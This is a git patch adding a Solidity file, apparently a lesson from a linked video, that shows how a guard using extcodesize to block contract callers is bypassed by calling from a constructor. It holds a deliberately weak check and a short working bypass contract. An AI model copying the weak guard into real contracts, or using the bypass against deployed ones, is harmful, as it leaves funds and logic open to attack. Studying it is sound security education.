From f3b302c01f016777c58a48bc4a00495198441794 Mon Sep 17 00:00:00 2001 From: Teddy Leno Date: Mon, 5 Aug 2024 14:51:50 +0700 Subject: [PATCH] feat: https://youtu.be/58Mnru9vRyU?si=4ncu8Y2V7CZkWnEX --- Sol.sol | 37 +++++++++++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) create mode 100644 Sol.sol diff --git a/Sol.sol b/Sol.sol new file mode 100644 index 0000000..8b4f1a6 --- /dev/null +++ b/Sol.sol @@ -0,0 +1,37 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8; + +contract Target { + function isContract(address account) public view returns (bool) { + uint size; + assembly { + size := extcodesize(account) + } + return size > 0; + } + + bool public pwned = false; + + function protected() external { + require(!isContract(msg.sender), "no contract allowed"); + pwned = true; + } +} + +contract FailedAttack { + // Attempting to call Target.protected will fail, + // Target block calls from contract + function pwn(address _target) external { + // This will fail + Target(_target).protected(); + } +} + +contract Hack { + bool public isContract; + + constructor(address _target) { + isContract = Target(_target).isContract(address(this)); + Target(_target).protected(); + } +}